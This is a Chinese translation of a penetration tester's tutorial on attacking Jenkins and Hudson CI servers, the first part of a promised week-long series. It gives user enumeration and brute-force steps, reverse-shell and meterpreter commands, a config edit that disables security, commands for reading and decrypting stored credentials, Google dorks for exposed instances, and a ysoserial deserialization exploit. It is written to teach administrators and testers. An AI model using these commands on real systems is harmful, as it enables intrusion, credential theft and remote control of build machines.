持续集成(Continuous Integration,CI)工具经常被开发者所使用,常在一些程序开发组织中用于开发、项目管理和源代码管理等。更多关于CI工具的信息可以参考这里。
CI工具支持分布式构建。也就是说,在典型配置下,CI工具的主服务器可以在其连接的大量子服务器上执行代码。一个典型的持续集成工业环境下的配置如下图所示:
在一次渗透测试中,我开始对CI工具产生了兴趣,那次我从互联网上侵入了Jenkins客户端。对于能从公网访问到Jenkins客户端我感到相当惊讶,关于这次的入侵经历可以参见我的另一篇博文。
此后我开始积极寻找可以访问到的CI服务器,在寻找过程中我发现它们正被广泛使用,但是大多都缺乏基本的安全控制措施,经常性出现错误的配置,导致它们有很多相当重要的信息(如:代码库、构建日志和凭证等等)和设备(分布式构建)可以直接被访问。如果一个黑客想要侵入IC工具的话,那么他至少能侵入得到所有的源码并向所有运行状态为slaves或agents的机器发送命令执行。我发现的这个IC工具安全问题无法被任何人忽略,无论是用户还是开发者。很多的IC工具都执行默认的配置或者是错误的配置。
为了唤起人们对IC工具安全问题的关注,我准备从2015年11月30日开始一个CI工具一周课程。头三天我会讨论CI工具(Jenkins和Hudson, TeamCity, Go和CruiseControl)存在的安全问题,以及它们的功能和错误的配置是如何被滥用的。第四天,我们会看到一个通用攻击的工具集并且讨论如何使用这个工具集。第五天,我们会讨论如何如何进行防御和其他一些事。
所以的代码和资料可以从这下载:https://github.com/samratashok/ContinuousIntrusion
第一天 - Jenkins(和Hudson) 第二天 - TeamCity 第三天 - Go和CruiseControl 第四天 - 通用攻击工具集和工具集的使用 第五天 - 防御措施和讨论其他一些事
我希望通过本周的教程能帮助系统管理员了解到CI工具是如何被入侵的并且做好相应的防御措施。同时我也希望能帮助渗透测试人员了解如何侵入CI工具,从而增强他们客户的安全性。之后我还打算继续研究这些安全工具。
好了不多说,开始我们第一天的教程吧。
Jenkins
Jenkins是一个广泛使用的CI工具,可以从这里下载到。Hudson没有进行单独的测试,因为它同Jenkins十分类似。我们下面对Jenkins的讨论同样适用于Hudson。
我们发现Jenkins存在的安全问题如下:
1.默认安装中没有身份认证 2.没有应对暴力破解的防护措施 3.没有对用户密码复杂度的要求 4.在Windows上以系统或更高的权限运行(从来没见过以非管理员权限运行的) 5.1.580版本前,Jenkins所有的用户和console命令输出都可以直接被查看到而不需要经过任何的认证。直至今日,很多对于Jenkins错误的配置仍然会出现这个问题(匿名用户拥有读权限)。
Jenkins安全配置文档请参见这里。
对于一些公共的Jenkins实例,很多信息可以被轻易的收集到,收集到的一些构建信息相当可怕!我见过数据库凭证、Git凭证和SSH密钥等等,更多的信息下面的Google Dorks章节会再说。
在完成了推荐的基础安全配置后,为了对安装有Jenkins的系统进行操作,我们必须在这些系统上面拥有一个有权限进行构建配置的非管理员用户。在大多Jenkins实例里,这是没法抵御枚举用户攻击的。结合Jenkins没有抵御暴力攻击和要求用户密码复杂度的策略,我们可以很轻易的暴力破解出用户的凭据。
枚举用户可以通过访问以下URL完成(匿名用户拥有读权限):[JenkinsUrl]/asynchPeople/
我们可以使用Burp suite的Intruder模块或者其他类似的工具进行暴力破解。在Burp中抓取一个登陆请求(对[JenkinsUrl]/j_acegi_security_check发送的POST请求包)发送给Intruder模块。这里记住要移除请求包中的JSON参数,并设置Intruder模块要跟随跳转。
在我的经验中,CI工具的用户通常喜欢以自己的用户名作为密码。因此,我们首先使用Intruder模块中的"pitchfork"攻击类型尝试使用用户名作为密码进行暴力攻击。如果这没用,那么我可以使用"Cluster Bomb"攻击类型。
如果攻击成功会像这样:
我们需要要不停的尝试登录,直到找到一个拥有项目配置权限的用户为止。
很好!在拥有配置权限后我们就可以做很多有趣的事了。
执行命令
在拥有项目配置权限后,我们可以增加或者修改项目的“构建步骤(Build Steps)”。构建步骤提供了很多的选项,例如执行批处理或执行shell命令等(甚至可以安装插件)。下面我们来试一下!
噢耶!我们在一个Windows的从属节点上以系统权限执行了命令。注意!这是Jenkins的特性而不是漏洞。
我提倡无论是否能提升我们渗透测试技术都可以使用PowerShell。在这里,我们可以通过PowerShell执行命令弹回一个反向shell。而没必要用其他的工具。下面我们使用Nishang的Invoke-PowerShellTcpOneLine.ps1。这个脚本包含两个单行shell,我们只需要使用一个,所以我们要删除另一行代码。为了在内存中执行脚本,我们需要要进行Invoke-Encode编码并使用-OutCommand参数。
PS C:/nishang> . ./Utility/Invoke-Encode.ps1 PS C:/nishang> Invoke-Encode -DataToEncode ./Shells/Invoke-PowerShellTcpOneLine.ps1 -OutCommand
现在,我们可以在不接触硬盘的情况下,进过"encodedcommand.txt"编码后的脚本以PowerShell的encodedcommand参数来执行。
很好!我们内存中的反向shell具有系统权限。这就是我们为什么要用Powershell:)
对于metasploit粉丝(比如我),我们同样可以得到一个反向meterpreter。我们利用命令生成一个payload:"./msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[IPAddress] -f psh-cmd
"。然后像这样使用:
很酷不是吗?
请注意这里我们执行命令都是在从属节点上通过配置构建来执行的。你在主节点上也可以进行同样的操作。当然如果你有主节点上的配置构建权限,那么你可以进行更多有趣的攻击。
移除安全措施
如果我们有主节点上的配置构建权限,那么我们可以移除Jenkins服务所有的安全措施。查看https://wiki.jenkins-ci.org/display/JENKINS/Disable+security。我们只需要移除/重命名或者修改$JENKINS_HOME/config文件夹下的config.xml的文件,然后重启Jenkins服务即可。如果要修改config.xml这个文件,那么我们只需要将[useSecurity]true[/useSecurity]
修改为[useSecurity]false[/useSecurity]
。对于Windows平台,我们可以使用Powershell命令修改config.xml文件:
powershell "(cat C:/test/config.xml) -replace('<usesecurity>true</useSecurity>','<usesecurity>false</useSecurity>') | Set-Content C:/test/config.xml
想要了解$JENKINS_HOME,可以通过查看主节点上的任意项目的构建日志。
在主节点上以构建步骤运行,在服务重启后所以的安全措施都会被移除,结果就是任何人通过浏览器访问URL时都会具有管理员权限。在我的测试中,我无法在Windows上通过PowerShell的Restart-Service或者sc.exe来重启服务,只有通过meterpreter会话才能重启服务。在*nix上,如果没有root权限是无法重启Jenkins服务的。
解密凭证
从Jenkins中提取出的凭证可能是以明文形式存储的。包括密码,密码短语(passphrases),SSH密钥(包括私钥)以及其他管理员使用凭证管理(Manage Credentials)保存的凭证。在主节点上具有配置的权限后,我们可以读取并解密凭证。这里我从另一个非常厉害的博客里偷学了一些技术:http://xn--thibaud-dya.fr/jenkins_credentials.html。
我们需要获取Jenkins主节点的三部分信息:
1.$JENKINS_HOME目录下的credentials.xml文件,这个文件里包含加密后的密码 2.$JENKINS_HOME/secrets目录下的hudson.util.secret文件,这个文件里包含加密的密码 3.$JENKINS_HOME/secrets目录下的master.key文件,这个文件用于加密hudson.util.secret
在Windows平台的主节点上,下面的PowerShell命令可以用于读取这些文件。
powershell -c "cat 'C:/Program Files (x86)/Jenkins/credentials.xml'" powershell -c "cat -encoding byte 'C:/Program Files (x86)/Jenkins/secrets/master.key'" powershell -c "cat -encoding byte -path 'C:/Program Files (x86)/Jenkins/secrets/hudson.util.Secret'"
通过使用Nishang的脚本[TexxttoExe]()可以将密码还原为原本的格式(当然也可以使用其他的工具或脚本):
PS C:/nishang> . C:/nishang/Utility/TexttoExe.ps1 PS C:/nishang> TexttoEXE -FileName C:/test/hudson.util.txt -EXE C:/test/hudson.util.secret PS C:/nishang> TexttoEXE -FileName C:/test/master.txt -EXE C:/test/master.key
使用decrypt.py可以解密密码。
注意如果是SSH密钥的话,我们还需要提取密码短语(passphrases)。SSH密钥通常直接存储在$JENKINS_HOME目录下或者在credentials.xml里以明文形式存储。另外,加密过程中没有使用盐值,所以从Jenkins中拿到的加密密码可以直接进行碰撞攻击。
Google Dorks
在公共Jenkins实例中使用下面Google dorks。想创建更多的取决于使用情况:
Public instances: intitle:"Dashboard [Jenkins]" Public instances with no authentication: intitle:"Dashboard [Jenkins]" intext:"Manage Jenkins"
Hudson实例中只需要将Jenkins替换为Hudson即可。
Jenkins公共实例中泄露出的敏感信息是相当惊人的。它们泄露了很多信息关于源码创建和管理。这里我们可以找到私人代码仓库的密码和指向开发产品、雇员信息和更多信息的链接,以及其他一些有趣的信息。就想下面的截图,有人在Jenkins上一个无需认证的服务器里留下了一段有趣的信息。
另一个高亮了安全状态的截图如下,Jenkins实例以root权限运行而且还不需要进行认证:
反序列化漏洞
以防你错过了,Jenkins(以及其他一个攻击)都受到Java的反序列化(Unserialization)漏洞影响。
这个漏洞可以在Jenkins实例上进行远程命令执行。而我们所需要的只是:
1.下载ysoserial(很酷的名字)从这:https://github.com/frohoff/ysoserial
2.使用ysoserial弹回一个反向shell:
java -jar ysoserial-0.0.2-all.jar CommonsCollections1 'powershell.exe -e <encoded_reverse_shell>' > payload.out
3.下载Jenkins利用代码从这:https://github.com/foxglovesec/JavaUnserializeExploits
4.开始攻击一个Jenkins实例:
python jenkins_exploit.py 192.168.230.125 8080 payload.out
5.庆祝胜利~
成功后会类似这样:
互联网上暴露出来的Jenkins实例可能是安全的,因为利用程序使用一个很高的随机端口号进行连接(截图中的端口号是49189)。如果环境运行这么高的端口号从互联网连入,那么就有更大的问题要解决了。
视频演示
我为这篇文章快速的录制了一个演示攻击:
*原文:labofapenetrationtester ,FB小编xiaix编译,转自须注明来自FreeBuf黑客与极客(FreeBuf.COM)